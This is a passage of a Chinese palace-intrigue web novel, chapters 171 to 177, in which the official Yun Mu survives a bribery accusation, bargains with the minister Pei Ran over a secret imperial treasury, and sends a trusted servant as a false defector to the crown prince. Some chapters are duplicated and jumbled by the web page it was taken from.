她搬出梁文帝堵太子的话,太子又搬出梁文帝逼她就范,还真是风水轮流转。 梁文帝也想到去年之事,又把吕良叫了进来,“你和云大人去未央宫,如果情况不对,速来报朕。” 路上,吕良挑着重要的事告知云暮后,两人一路无话行至未央宫,云暮深吸了一口气,才迈进宫门。 第一百七十一章 云暮受贿,中饱私囊 “几位殿下,臣要参一人。” “陈御史要参何人,罪名” “云暮受贿,中饱私囊。” 所有人的目光都放在云暮身上,面色各异。 太子唇角微勾:“你可有证据?” 李御史呈上奏折:“王家倒台后,朝中官职空缺,云暮收了钱英三十万,把他安排进兵部做了主事。” 太子接过奏折,只扫了一眼就合上了,“云将军,你可认罪?” 呆站着的云暮终于有了动作,她先是把殿中人都打量了一遍,最后才把视线放在陈御史身上。她没记错的话,陈御史是皇后的人。 那日在未央宫,她和皇后不欢而散,又如此过了两三日,皇后和太子都没有动作,于是她亲自把把柄送到了他们手中。 她只想和皇后相安无事,但耐不住他们想寻死,那她就送他们一程。 朝中多少官员行贿受贿,她手中的名单列得一清二楚,只要她透出几句话,这些人便不敢动她,但云暮最后只说了一句:“下官未曾受贿,还请太子明察。” 沈聿明一目十行,而后“啪”的一声,合上了奏折。上面写的乃是云暮收贿的过程,详细到钱英何时进出云府,二人又说了何话。 王家之事过去了这么久,怎么突然会被人翻出来,沈聿明不信云暮会留一个这么明显的把柄给对手。 她想要做什么? 陈御史冷笑一声,“人物证皆在,云大人还想抵赖不成?” 云暮虚心求问:“人物证何在?” 御史得意道:“钱英已经招了,如今正被关在刑部大狱呢。至于物证,就是你前几日送去醉春风的十万两银票!” “我大梁官员一年的俸禄最高不过三百两,你才无朝为官几年,就算不吃不喝,三年也不过六七百两银子。” 云暮只觉得可笑,她替梁文帝做了多少事,又有多少次是拼着命完成的,更别说她为了养家还曾易容后行医挣钱。 那三十万两银票拿去填梁文帝的窟窿尚且不够,又贴进去了不少银子,和其余人相比,她清廉得不能再清廉了。 如今国库空虚,他们贪不到多少好处,便把主意打到她身上。还没查清她手里握着什么东西就敢对她下手,这群人真是蠢到没边。 “太子殿下,秦王殿下,下官认为应速速将此等蠹虫下狱,再派人去云府搜查一番,定能在云府找到剩下的银票。” 云暮指尖敲了两下手臂,很快就有人站了出来,“殿下,下官以为不妥。云……将军受贿的钱财太多,不如先禀明皇上再做决断。” “重刑之下真言少,几位大人不会不明白吧?” 这话惹殿里的人一通笑。 “要说起严刑逼供,站在这儿的人谁能越过云将军去?她都没说话,你们这些狗腿子倒是急着表忠心了。” “你……” 陈御史再次催促太子:“还请殿下决断。” 几人又争论了好一阵,吕良带着梁文帝的口谕来了:“事情尚未查清,但人物证皆在,暂将云暮押至刑部大狱,不许动刑。” 他话才落,陈御史已经越过太子,急吼吼道:“来人,除去他的官服,打入大狱。” 莫说太监,就是一个全乎的人当着众人的面被除去外衣都是莫大的耻辱。 云暮冷肃着脸,“我看谁敢?陈御史,你一个七品的监察御史,能站在这里说话已是沾了御史台的光,你还想违抗圣旨以下犯上?” “去年岁末,有个妓子在石桥边垂泪,本将军便上前问了两句,陈御史,你想不想知道那个妓子说了什么?” 原先看着云暮的人都看向陈御史,他如芒在背,“云大人,公然讨论妓子,有失风化。” 云暮只觉得好笑:“你狎妓的时候怎么没觉得有失风化?” 她看向太子,“太子殿下,下官要参陈御史狎妓,给妓子赎身,将妓子养在外头,在妓子讨要名分时,陈御史怕事情败露欲杀人灭口。” “陈御史虽只是七品小官,但胜在资历深,就算每个月府中的花销高达一百两,给妓子赎身的五六百两银子也是能攒得下的,是吧?” 那女子才入青楼没多久就被陈御史赎了回去,养在一座宅子,除了陈御史和几个侍女,谁也见不到,更不知他在朝中有多少人脉。 逃出来后,她本想去京兆尹和大理寺状告陈御史,但又怕官官相护,这才被云暮遇到。 一个七品小官,云暮没想着对方能掀起多大的风浪,手底下的人送回情报时,她看了都瞠目结舌。 七品官一个月的俸禄十几两,廉洁的陈御史一个月的开销却高达百两。云府养着这么多人,春夏一个月的开销也才三百两,秋冬再多上一些。 陈御史家中虽有些田产,但陈家人多,怎能由着他挥霍,钱从何处而来,大家心里都有了猜测。同时他们也庆幸方才没对云暮落井下石和动手。 七品官的私事他都知道得一清二楚,难保他们有什么把柄被云暮捏着。 陈御史哀求地看向太子,“殿下明察,大梁不许官员狎妓,下官作为御史,怎会明知故犯。” 云暮将妓子容貌说出,又细数着他们的过往,每说一句陈御史的脸色就白一分。 她问道:“陈御史,不如本将军把那位娘子请来,让她给你回忆你们的过往?” 陈御史彻底慌了,他双唇颤抖,一句话都说不出。 于是乎,互相参对方的两人双双被关进了刑部大狱,云暮还特意要了陈御史对面的牢房。 囚衣被她丢了出去:“罪名未落,本将军还不是罪犯,不穿,钱英呢?上刑了吗?” 公然查探同党的下落,也就云暮一个了。到底是和大狱的人有点交情,狱卒指着里头的那间牢房道:“钱英在那。” 又低声道:“一开始他什么都不肯说,就上了点刑,他没撑多久就什么都招了。” 云暮点了点头,“知道了。这几日我还要当值,布政坊会派人送公务来,如果有哪个不长眼的拦下,误了事他就进来和本将军作伴。” 第一百七十三章 出狱 云暮不管不顾地闹了起来,质问裴然的声音越发大,空荡的牢房里甚至有了回声。 即便狱卒不在,裴然还是慌了神,在云暮说出平账之事前,他欲上前捂住云暮的嘴。 “云将军,是我错怪你了,我道歉。” 云暮闪身避过,怒道:“早知收的那笔银子会遭来今日之祸,当初我就该把钱英轰出去。” “本将军不干了,现在就去勤政殿奏明皇上,来人,快来人,本将军招供!” 她每次都只让人放出一点线索,等裴然的人无功而返后,又再丢出一点。次次如此,裴然都快被逼疯了。今天她又闹了这一出,裴然更没有理由怀疑她了。 狱卒听到招供二字,拿起笔纸直奔牢房,才到门口又被裴然轰了出去。 云暮指着裴然大骂:“裴尚书,你既怀疑我,又拦我做什么?我去认罪不就正好遂了你们的愿吗?” “云将军这话可就冤枉我了……” 裴然耐着性子哄了几句,云暮已经油盐不进。眼看裴然已经没有耐心哄人,云暮顺着台阶下来了,但她还是要恶心裴然一句:“裴大人可有查出是何人所为?” 裴然如今有求于她,就算不喜也只能压下。 “说来惭愧,我府上的小厮都是些手无缚鸡之力的普通人,追查的本事比不上金吾卫,不知……” 云暮双手打叉:“打住。裴大人,金吾卫是皇上的金吾卫,若要调拨金吾卫,须得有皇上的手谕,可不能擅自行事,不然明日就是您被参了。” 作为金吾卫的上将军,她只要一句话便可调拨金吾卫,但什么好处都没有就罢了,若是查不出幕后黑手,裴然只会把锅甩到她身上。 裴然的脸色有些难看,同一条船上的蚂蚱居然反水,他威胁道:“云大人,你如今和我在同一条船上,钱英已经背叛了你,再不把调查内库的人找出,我们谁都别想活!” 云暮故作害怕地抖了抖身子,“我胆小,裴大人可别吓唬我。云府的每一笔账的来去都记得一清二楚,皇上如今压着此案不查,我们都能相安无事。” “但如果有人拿到了云府的账本,发现了内库,你说是我活不了还是裴大人你活不了?” 裴然的脸色更黑了,“你想要什么?” 牢房里的那盏油灯猝不及防地灭了,云暮站在角落,整个人都被黑暗笼罩:“救出钱英,还我清白,事成后还要给那几个替你做事的金吾卫一笔辛苦费。” 救出钱英并不难,难的是要如何还云暮清白。他管着内库,得皇上信任,多少也知道些内情。 皇上欲用此案逼云暮就范,他此时从中阻挠,必定会失了圣心,但内库一旦被人查到,别说圣心,脑袋都别想留了。 可性命和荣华富贵他都想要! 灯芯重新被点燃,暖黄色的光把人的影子拉得很长。 云暮重新躺回床上,拿起方才的话本盖在脸上,闷闷的声音透过纸张传来:“裴大人做不到,那就请回吧,慢走不送。” 裴然咬牙道:“我帮你,但你得说到做到。”大不了他事后给云暮挖一个致命坑,知晓他秘密的人死了,这才是真的能让他放心。 只是他不明白云暮为何还要救那叛徒,他有这么好心?心里想的他到底没有问出口,反而是留了一个心眼。 云暮依旧是那副懒洋洋的姿态,由着裴然打量,呼吸都没有变过一次,“裴大人好走,我就不送了。” 不知裴然用了什么办法,钱英当晚就被接了回去,而云暮则是又等了两天才收到圣旨。 云暮知晓自己会安然无恙地出去,没有带多少东西,甚至还叫角落翻到梁文帝先前派人送来的话本。 她一个字都没看,留在这里也只会被狱卒发现,她拨亮油灯,三两下就把话本子烧了个干净。 即便是死,她也不会像梁文帝求饶。 回去的路上挤满了人,云暮近日少案牍劳形,吃的也是外头酒楼的饭菜,看起来容光焕发,让等着看她一身伤地被人搀出的人大失所望。 “大人,您这几日受苦了,去去晦气。” 布政坊的书房门口,冯章几人提着桶等着云暮,手里拿着带着枝条的柚子叶。 受苦不至于,但确实晦气,云暮摊开双手。苦涩的柚子叶带着带着几滴水珠落在她的肩膀和后背上。 “大人,好了。” 云暮抬步走进书房,“徐文,进来。” 徐文还当云暮要他告知布政坊这半个月的情况,才张嘴听见云暮说:“这些后面再说,等会儿带几个人和我去找裴然。” 徐文不解:“找裴大人做什么?” 云暮拿出了几个锦囊:“你带着人替他查一件事,我已经安排好了,锦囊一天开一个,不用太尽心。” “但有一点,你给我盯好裴然,他要是进宫,第一时间要告诉我。” 如此她才能早做准备,免得他在背后给她使阴招。 徐文去整队的间隙,冯章抱着今日的公文走了进来。 “大人,中郎将这几日……” 外争才起,内斗怎么也跟着来了,中郎将平日里一副温润公子的模样,现下行事怎么跟变了个人一样?云暮揉着眉心,疲惫道:“当年的事因我而起,我不在,你们别触他眉头,他说什么都顺着就是。” 接替她中郎将一职的是京城郑家的郑鹤桉。 中郎将一职当年本该落到郑鹤桉的头上,彼时他即将赴任,但梁文帝硬是把中郎将的名字改成了她的。 这事有她的手笔,总归是她对不住郑鹤桉。 “对了,大人,还有一件事。您不在的这几日,中郎将偷偷进过你的书房。” “什么时候?” “两日前,傍晚下值后,他从你书房出来后就走了。” 那不就是裴然见她那天,真有这么巧?在她的记忆里,裴然和郑家并无关联,他怎么和裴然搅到一块去了? “你去查查裴然和郑鹤桉的关系,再派个人去同安坊帮我照看好一个人。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十三章 出狱 云暮不管不顾地闹了起来,质问裴然的声音越发大,空荡的牢房里甚至有了回声。 即便狱卒不在,裴然还是慌了神,在云暮说出平账之事前,他欲上前捂住云暮的嘴。 “云将军,是我错怪你了,我道歉。” 云暮闪身避过,怒道:“早知收的那笔银子会遭来今日之祸,当初我就该把钱英轰出去。” “本将军不干了,现在就去勤政殿奏明皇上,来人,快来人,本将军招供!” 她每次都只让人放出一点线索,等裴然的人无功而返后,又再丢出一点。次次如此,裴然都快被逼疯了。今天她又闹了这一出,裴然更没有理由怀疑她了。 狱卒听到招供二字,拿起笔纸直奔牢房,才到门口又被裴然轰了出去。 云暮指着裴然大骂:“裴尚书,你既怀疑我,又拦我做什么?我去认罪不就正好遂了你们的愿吗?” “云将军这话可就冤枉我了……” 裴然耐着性子哄了几句,云暮已经油盐不进。眼看裴然已经没有耐心哄人,云暮顺着台阶下来了,但她还是要恶心裴然一句:“裴大人可有查出是何人所为?” 裴然如今有求于她,就算不喜也只能压下。 “说来惭愧,我府上的小厮都是些手无缚鸡之力的普通人,追查的本事比不上金吾卫,不知……” 云暮双手打叉:“打住。裴大人,金吾卫是皇上的金吾卫,若要调拨金吾卫,须得有皇上的手谕,可不能擅自行事,不然明日就是您被参了。” 作为金吾卫的上将军,她只要一句话便可调拨金吾卫,但什么好处都没有就罢了,若是查不出幕后黑手,裴然只会把锅甩到她身上。 裴然的脸色有些难看,同一条船上的蚂蚱居然反水,他威胁道:“云大人,你如今和我在同一条船上,钱英已经背叛了你,再不把调查内库的人找出,我们谁都别想活!” 云暮故作害怕地抖了抖身子,“我胆小,裴大人可别吓唬我。云府的每一笔账的来去都记得一清二楚,皇上如今压着此案不查,我们都能相安无事。” “但如果有人拿到了云府的账本,发现了内库,你说是我活不了还是裴大人你活不了?” 裴然的脸色更黑了,“你想要什么?” 牢房里的那盏油灯猝不及防地灭了,云暮站在角落,整个人都被黑暗笼罩:“救出钱英,还我清白,事成后还要给那几个替你做事的金吾卫一笔辛苦费。” 救出钱英并不难,难的是要如何还云暮清白。他管着内库,得皇上信任,多少也知道些内情。 皇上欲用此案逼云暮就范,他此时从中阻挠,必定会失了圣心,但内库一旦被人查到,别说圣心,脑袋都别想留了。 可性命和荣华富贵他都想要! 灯芯重新被点燃,暖黄色的光把人的影子拉得很长。 云暮重新躺回床上,拿起方才的话本盖在脸上,闷闷的声音透过纸张传来:“裴大人做不到,那就请回吧,慢走不送。” 裴然咬牙道:“我帮你,但你得说到做到。”大不了他事后给云暮挖一个致命坑,知晓他秘密的人死了,这才是真的能让他放心。 只是他不明白云暮为何还要救那叛徒,他有这么好心?心里想的他到底没有问出口,反而是留了一个心眼。 云暮依旧是那副懒洋洋的姿态,由着裴然打量,呼吸都没有变过一次,“裴大人好走,我就不送了。” 不知裴然用了什么办法,钱英当晚就被接了回去,而云暮则是又等了两天才收到圣旨。 云暮知晓自己会安然无恙地出去,没有带多少东西,甚至还叫角落翻到梁文帝先前派人送来的话本。 她一个字都没看,留在这里也只会被狱卒发现,她拨亮油灯,三两下就把话本子烧了个干净。 即便是死,她也不会像梁文帝求饶。 回去的路上挤满了人,云暮近日少案牍劳形,吃的也是外头酒楼的饭菜,看起来容光焕发,让等着看她一身伤地被人搀出的人大失所望。 “大人,您这几日受苦了,去去晦气。” 布政坊的书房门口,冯章几人提着桶等着云暮,手里拿着带着枝条的柚子叶。 受苦不至于,但确实晦气,云暮摊开双手。苦涩的柚子叶带着带着几滴水珠落在她的肩膀和后背上。 “大人,好了。” 云暮抬步走进书房,“徐文,进来。” 徐文还当云暮要他告知布政坊这半个月的情况,才张嘴听见云暮说:“这些后面再说,等会儿带几个人和我去找裴然。” 徐文不解:“找裴大人做什么?” 云暮拿出了几个锦囊:“你带着人替他查一件事,我已经安排好了,锦囊一天开一个,不用太尽心。” “但有一点,你给我盯好裴然,他要是进宫,第一时间要告诉我。” 如此她才能早做准备,免得他在背后给她使阴招。 徐文去整队的间隙,冯章抱着今日的公文走了进来。 “大人,中郎将这几日……” 外争才起,内斗怎么也跟着来了,中郎将平日里一副温润公子的模样,现下行事怎么跟变了个人一样?云暮揉着眉心,疲惫道:“当年的事因我而起,我不在,你们别触他眉头,他说什么都顺着就是。” 接替她中郎将一职的是京城郑家的郑鹤桉。 中郎将一职当年本该落到郑鹤桉的头上,彼时他即将赴任,但梁文帝硬是把中郎将的名字改成了她的。 这事有她的手笔,总归是她对不住郑鹤桉。 “对了,大人,还有一件事。您不在的这几日,中郎将偷偷进过你的书房。” “什么时候?” “两日前,傍晚下值后,他从你书房出来后就走了。” 那不就是裴然见她那天,真有这么巧?在她的记忆里,裴然和郑家并无关联,他怎么和裴然搅到一块去了? “你去查查裴然和郑鹤桉的关系,再派个人去同安坊帮我照看好一个人。” 第一百七十四章 回府 户部。 云暮端起茶杯,撇了撇茶沫:“茶香纯正,银针入水,茶色却不浑浊,好茶。” “当然,这茶是花了大价钱买来的,喝一点少一点,今日不是云将军来,本官都舍不得拿出来泡。” 但云暮只闻了一下就放下了茶杯,指着徐文几人道:“这几个都是金吾卫中的精锐,有他们助裴尚书查案,定能早日抓到幕后之人。” 裴然看到几个熟面孔后,满意点头,“你们先在外头候着,本官要要事与你们大人商议。” 云暮转动着茶杯盖不说话。 “云将军,他们可知是来做什么的吗?” 云暮掀起眼皮看了他一眼,“不就是大人丢失了重要之物,他们来助大人找回吗?我做事,裴大人还不放心吗?” 裴然呵呵一笑,“云将军行事迅速,有口皆碑,本官自然相信。只是我多疑,总得再问一嘴,云将军海涵。” 瓷器相碰的清脆声响,云暮起身告辞:“人就留在裴大人这儿了,望大人早日抓到凶手。” 裴然露出一个真心实意的笑容,“借云大人吉言。”也希望几日后你还能这么张狂。 云暮再次回到布政坊的书房,循着记忆在书房摸索,正指挥着人把博古架上 血染红了寝衣,贵妃恍如没有察觉到痛意一般,她看着梁文帝,哈哈大笑:“皇上,你怕了,是怕你喜欢折磨人的手段被云大人发现吗?他本来就厌恶你,如今想来只会更恶心!” 躲在屋顶看热闹的沈聿明一愣,不敢相信自己的耳朵,这就是云暮一直瞒着他的事? 贵妃拔下肩头的剑,走到云暮面前,手搭在领口,作势要褪下寝衣,“云大人,你想知道本宫是如何侍寝的吗?” 心慌不止的梁文帝喝住贵妃,对着她的心口直直刺去。 按住贵妃肩头的手把她往前一带,原本应该刺向贵妃的的剑把云暮的左肩捅了个对穿。 屋顶的沈聿明扣着瓦片,掌心上的血一滴一滴往下坠,正好滴在云暮的肩头。 “云卿!” “暗一,去传太医!” 梁文帝不知所措,想要将剑拔出却又不敢,只好把过错推到旁边身上:“你为何要替这个贱人挡剑?” 云暮咬着牙根往前几步,贵妃还没到该死的时候,不论如何,她都得保下这条命。双目往上一抬,云暮盯着上面的人,无声地摇了摇头,不许他轻举妄动。 贵妃也被这一出惊在了原地,“你为何要救我?” 云暮不答。 太医来时,看着满殿的狼藉和受伤的两人,一个是宠妃,一个是宠臣,他不知先给谁看了。 梁文帝指着云暮道:“给云大人看。” 太医踌躇了片刻,说道:“云大人,还请解衣看伤。” “你火急火燎地找我过来,怎么了?” 钥匙在云暮手中转了几圈,她走到沈聿明身后,把人往库房的方向推,“走吧,等会儿你就知道了。” 钥匙在门锁里转动了几下,咔哒一声,锁头开了。 沈聿明瞪大了双眼,“这……” 金银珠宝,古董器具…… 云暮翻箱倒柜,终于找到了她想要的东西,她缓缓摊开画卷,俨然是那幅《孝经图》。 沈聿明上前两步接过那幅画,惊喜道:“它竟然在你的手上,所以两年前买走它的人是你?” 云暮嗯了一声:“找人验过了,是真迹,你放心,没人知道是我买的。” 这几日苦寻不到一件称心的礼物,沈聿明愁得觉都睡不好,已经派钟叔去买雷击木了,谁想东西竟近在眼前。 “你当时花了多少钱买的,我翻倍给你。” 云暮失笑:“不用。” …… 万寿节前几日,整个京城都挂满了红绸,云暮带着人先去摘星阁巡视了一圈,确保摘星阁无事后,又在京城加大了巡逻力度,不许出一处纰漏。 这些时日她没空整治俞白,便将他带在身边做事,今日天光乍破,她就命人把俞白从床上拖起来。 俞白抱着床柱:“我不去,你不如让我跟他们一道训练,天天不是带我往外跑,就是让我念公文,你还是一剑杀了我吧。” 他从前看得最多的就是话本子,在家里也没人敢逼他念过书,云暮他怎么敢的?还天天带着他巡城,人都黑了不少,那些酒肉朋友指不定在背地里怎么笑话他呢! 云暮闻言,突然抽出了剑,一步一步朝他逼近。 俞白不过是吓唬吓唬他罢了,怎么会料到云暮竟真的敢拔剑,瞌睡虫都被吓跑了,他色厉内荏地看着云暮:“你……你有种就一剑砍死本世子!” 云暮抬起手,俞白闭着眼不敢再看。 哐当一声,云暮将床柱砍了下来:“给世子洗脸,既然是世子强烈要求,再让他和你们一道训练。” 俞白偷偷睁开一只眼,“当真?你不让我陪你去巡城了?” 云暮勾唇笑道:“怎么会,该做的事还是要做的,世子别想躲懒。” 俞白腾的一下站了起来,挽起裤腿怒道:“我腿都被磨破皮了,你就不能让我休息几日吗!” 云暮早在他有动作时就移开了眼,“等适应了就无事了,我们也都是这样过来的。” 说罢,她朝外走去,见到中郎将时,她还是说了一句:“训练时给世子放些水,别把人给惹恼了。” 中郎将:…… 他很想说,好像每次把世子惹恼的都是将军您吧。 见他欲言又止,云暮问道:“你想说什么?” 中郎将回道:“没什么,就是想问问大人,明日便是万寿节,今天要不要多增派些人手巡逻?” 云暮点头:“要,我们分别带队,在东西两市巡逻,结束后你就去休息,今夜还要巡城,对了,摘星阁时刻要有人把守,不许出现任何纰漏。” 中郎将应了声是。 皇后除去一开始的惊愕,很快就又平静了下来。但凡本朝实力尚可,国主都不会立外邦人为后,更何况她身后还有崔家,她的儿子更是大梁的太子! 她看向梁文帝:“皇上又得佳人了。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十五章 背叛 云暮捏紧了手中的书:“抓到人了吗?” “没有,要么见势不对溜了,要么服毒自杀了。中郎将得知后想派几队人来守云府,老奴借口想瓮中捉鳖婉拒了。” “大人放心,人虽然没抓到活口,但府上一片叶子都没让他们带走。” 云暮安抚道:“有安叔你和砚石他们在,我自然是放心的。那些人可有同时闯入云府?” 安叔的语气有种劫后重生的庆幸:“这两日都有,好在府中的小厮够多,身手也还看得过去,这没让他们得逞。” 云暮的指尖在桌案上轻敲,梁文帝压着不许他们动手,太子不会坐以待毙,于是派人直奔云府库房。 门外应该有几个接应他们的人,只要库房的门被打开,她收刮民脂民膏,坐拥金山银山的消息就会传遍京城。 书房于外人而言是重地,放着她收集到的各类情报,还有……云府的账本。 去库房的应该是裴然的人,他想找到并毁掉账本,让她坐实贪墨的罪名,再冠给她一个为了权力媚主,压榨百姓,擅自做主给梁文帝建内库。 这样既能把他和梁文帝摘出,又有人替他们背黑锅,还能逼她向梁文帝求饶,一石三鸟,好计谋。 这一次,他们的算盘依旧会落空。裴然怕内库暴露在人前,那她就以此破局。 赋税年年增,国库年年空,收上来的钱有多少进了国库,有多少进了内库,又有多少进了官员的口袋,他们再如此行事,大梁要亡。 云暮:“安叔,明日赏他们一人十两银子,夜间让他们巡得再勤些,最多再有五日,那些人就挣扎不动了。砚石呢?” 安叔看了一眼水漏,道:“这个时间,砚石正带人巡视云府,老奴让砚清去换他。” 云暮喊住了他:“不急,让砚清进来吧。” 砚清进来后,云暮半晌不说话,把人看得心里直起毛。砚清小心翼翼地问道:“大人,属下近来做错了什么吗?” 好像没有吧? 云暮笑道:“你和砚石跟了我这么多年,有没有想过另谋出路?” 砚清心里一咯噔,咚的一声,直直跪在地上,“大人,属下和砚清生是您的人,死是您的鬼,绝无二心。” 云暮把人扶起:“紧张什么,我自然是相信你们的,只是你可以试试走其他的路。” 砚清怔怔看他,不解:“大人,属下愚笨,不知此话是何意。” 云暮把桌上的东西递给他,“你先看看。” 饶是砚清跟在云暮身边这么多年,见了不少东西,但从没想过有朝一日会看到云府的。 “大人,这……” 云暮的食指抵在唇前,“不用说出来,我只问你一句,愿不愿意?” 砚清攥紧了手中的东西,坚定道:“属下愿意。” 云暮又问:“哪怕因此被人斥骂,命丧黄泉?” 砚清道:“为大人效力,赴汤蹈火在所不辞。” 第二日,京城的各处告示牌前挤满了人,无数只手在告示上指指点点。 “听说了吗,昨天夜里有人去云府偷了东西,都被下人拦住了,但就在那些人要撤离云府时,他啊,拿着云大人的东西叛逃云府。” “云暮派人日防夜防,竟忘了家贼最难防。” “有谁知他拿走了什么东西?” 在场之人都摇头道:“谁知道呢,云府这么多好东西,能让云大人大发雷霆,述其罪状的,想来是样很重要的东西。” 有人猜测道:“难不成是那枚天子令?” “天子令皇上只赏了一枚,就在云大人的手里,谁敢抢?” …… 这事说个没完,而告示牌上的主人公正在太子的东宫。 太子翻看着账本,和寻常的账本不同,太子手中的账本只有一小半,剩下的则在砚清手里。 太子看得极慢,不过几页纸,却看了小半个时辰,砚清跪得双腿发麻,太子才终于开口:“这东西你从哪里寻到的?” 砚清垂头道:“小人作为云暮的心腹,他许多事都不避讳我们兄弟二人,知道这些实属正常。” 太子问道:“怎么只有你一人来了,另一个呢?孤记得他好像是叫……砚石。” 砚清答道:“小人没劝住,他不愿来,也想着将来能给小人求情。” 太子卷起账本,轻打着手心,“求情?求什么情?” 砚清挽起袖子,露出上面新旧交替的伤痕,“不瞒殿下,云暮每遇到不顺心之事,就会责罚我们兄弟二人。” “昨日回府,他听说前些日子有人夜闯云府,一句话没问,便不分青白打了我们兄弟一顿。小人实在受够了,这才投奔太子您来了。” 太子还是有些不信,把那半本账本丢回砚清怀里,“云将军是父皇的人,孤作为太子,为何要与他作对?你拿着东西走吧,孤就当今日没见过你。” 砚清没管账本,把头磕得渗出血:“太子殿下,求您开开恩,给小人一条生路吧,小人今日走了,就彻底没命了。” 太子的语气一如既往的冷淡,“与孤何干?” 砚清心一横,“殿下,我知道云暮的不少秘密。” …… 云府,砚石从鸽子的脚上取下字条,上面只有两个字,“事成。” 云暮往木盒里倒了些鸟食,喂给鸽子:“拿砚清做诱饵,诱敌上钩,你就这么一个亲人,恨我吗?” 砚石收起字条,摇头道:“若不是大人,我们兄弟早就被赌场砍了手,哪里还有今日?属下相信大人一定不会拿砚清的性命来开玩笑。” 云暮难得解释了一回:“我身边能信的人不多,冯章他们知道的不多,只有你和砚清是最合适的人。 你常跟在我身边,对外又是憨厚老实的性子,背主一事只能是砚清去做。我已经派人去接应砚清,你不用太忧心。” 三个侍卫拿着令牌进了东宫,腰间未摘的木牌刻着一个户字。 “殿下,昨日属下已经顺利进了户部,这是今日搜查到的线索,不过属下没看懂。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十六章 合作 城外一个不惹眼的小店里,云暮和沈聿明相对而坐。 上次之事,说到底云暮心里还是有些怨沈聿明,但她不过一蜉蝣,如何撼大树?思来想去,还是邀沈聿明出来一见。 朝堂不稳,外敌入侵,她即便死遁回江南,也过不了几日安生日子。 她懒得折回云府,一下值就往城外赶,腹中正饥饿,店家这时端上两碗热气腾腾的臊子面。 “二位,你们的面来了。” 没招呼沈聿明,她从旁边的竹筒里拿了双筷子开吃。 沈聿明犹记得上次她和太子是在醉春风见面,怎么到了他就只有这家小店?想说些什么,但看到云暮凉嗖嗖的眼神后便闭了嘴,两人沉默地吃着碗中的面。 沈聿明吃得快,吃完后无事可做,就撑着脸看着云暮。平常见面,她除了冷脸还是冷脸,更何况他上次还冒犯了她。 昨日邀他一叙的信送到王府,他太过激动,到了后半夜才睡下,今日一大早的起来,又是传水沐浴,又是熏香,折腾了许久才出门。 目光过于灼热,云暮忍无可忍,抬头怒道:“我今天只带了两碗面钱出门,你那份自个儿买账,吃完没事干就去洗碗抵面钱,。” 沈聿明掏出了一个沉甸甸的钱袋放在桌上,“四碗面的钱还是有的,这顿本王请了。” 云暮捏着嗓子道:“王爷出手真阔绰。” 沈聿明:“……云大人说笑了。” 云暮实在顶不住他的眼神,面没嚼几下就咽了下去,几口就把那半碗面吃了个干净,她招手叫店家把碗撤了,又指着沈聿明道:“这顿他付。” 沈聿明从善如流地掏出一块碎银,店家一看连忙摆手:“一碗面三文钱,客官,我们这儿是小本买卖,找不开。” 云暮毫不客气道:“你收着就是,不用找了,若有人来,你把他们安排远些。” 这家店是店家的房子,一楼及门外的院子都摆了桌子当铺面,二楼则是他们住的地方。 店家和云暮本就相识,每次对方带人来吃面,他都能多赚一些,闻言,他美滋滋地把钱收入囊中,把人往楼上引,谄媚道:“二楼有空房间,大人不如去楼上议事。” 楼下人来人往,就算把人安排远些,也难保会有人听到,她今日要说之事却是不方便在楼下说,“也可。” 砚石和文竹一人守在楼下,一人于屋顶上放哨。 沈聿明落座后,小心翼翼地问道:“你没事吧?” 云暮不知他在打什么哑谜,“你说的哪件事?” “砚清他当着偷了你的东西跑了?我派人暗中找过,但没有发现他的踪迹。” 云暮心想,人正被太子拘在东宫呢,能查到就有鬼了。想到砚清这两日受的苦,她心里对太子越发厌恶。 不对招降的敌人动刑是默认的事,但太子却总用刑罚让砚清证明没撒谎,等这事儿了了,她一定要太子好看。 “无事,这件事我能处理。” 云暮拿出一本薄薄的账册,上面记的账不多,但每一笔都让人触目惊心。 沈聿明越看面色越沉,云暮邀他出来时的那点旖旎的心思也都散了,“这是……” “内库的账,目前我只能查到这些。” 沈聿明不明所以:“内库?” 云暮知道的也不多,只能挑着来说:“是皇上的私库……” 沈聿明听完时,膝上的衣服已经皱成了一团,“裴然他是疯了吗?钱权皆在手,他还有什么不满足的?” 云暮嗤笑:“人心不足蛇吞象,还有人会嫌钱多?” 她拿出裴然的履历,“照着裴然的才学,即便有他爹担着,可他前面还有一个严元贞,裴然当个户部侍郎也算到了头。 所有人都以为严元贞的户部尚书板上钉钉,就连严元贞也是这般认为,可谁想裴然竟越过他成了户部尚书。 内库之事只有裴然和皇上知道,想来裴然应该是用内库换了前程。” 沈聿明把账本还给云暮:“你想让我怎么做?” “看完再说。” 云暮又拿出了一本账册,依旧是只有寥寥几页,这本是誊本,不是她不想全盘托出,只是有些事得循序渐进。 对于云暮拿出的任何东西,沈聿明已经不觉得奇怪了。 待他看到最后一页,云暮问道:“你怎么想?” 沈聿明就差牙没咬碎了,“这些人的眼中还有百姓吗?层层盘剥,养肥了多少官员,说他们是蠹虫都算便宜他们了。” 云暮心想,生气便好,生气就还有商谈的机会,也算她没看错人。 “东胡的人可有联系过你?” 沈聿明犹豫了片刻,还是如实说道:“有,嘉禾公主也曾递过拜帖,但我一次都没允。” 云暮的注意力放在了前面:“他们怎么说?” 没等到夸赞的沈聿明有些郁闷,“没说什么,只是让我构陷太子,让其失了帝心罢了。” 云暮摩挲下巴,“你去见一见嘉禾公主,看看她想做什么。” 沈聿明连忙拒绝:“不可,父皇一直想着让我纳嘉禾为侧妃,替他稳住东胡,我的心你是知道的,怎么可能娶旁人!” 云暮心头狠狠一跳,“只是让你去见她,又没让你娶她。你真不愿,皇上就算赐婚,你也会抗旨不遵。” “北域和东胡对大梁虎视眈眈,最多再过两年,东胡定会东进,倘若有他国相助,只怕还会提前。” “照这样下去,大梁的国库支撑不起军饷,到时割地求和的就是大梁了,让你去见公主一面也是想探探口风。” 沈聿明得寸进尺,“那你陪我去,还能找借口在她府上找找线索。” 云暮下意识想要拒绝,话说出口是竟成了答应,她懊恼地找借口开脱,她只是想知道东胡如今是什么情况,绝不是因为沈聿明! 回去的路上,沈聿明心情颇佳,但当着云暮的面不敢表露太多,否则没了下次岂不亏了? 两人与城门口分别,云暮打马走在前头,他嘴里则哼着不成调的小曲,晃晃悠悠地驱着马跟在后面,一前一后进了城。最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十七章 反击太子 “大人,皇上宣您进宫。” 云暮不咸不淡地嗯了一声,不急不缓地签了个字后才起身,“什么事?” 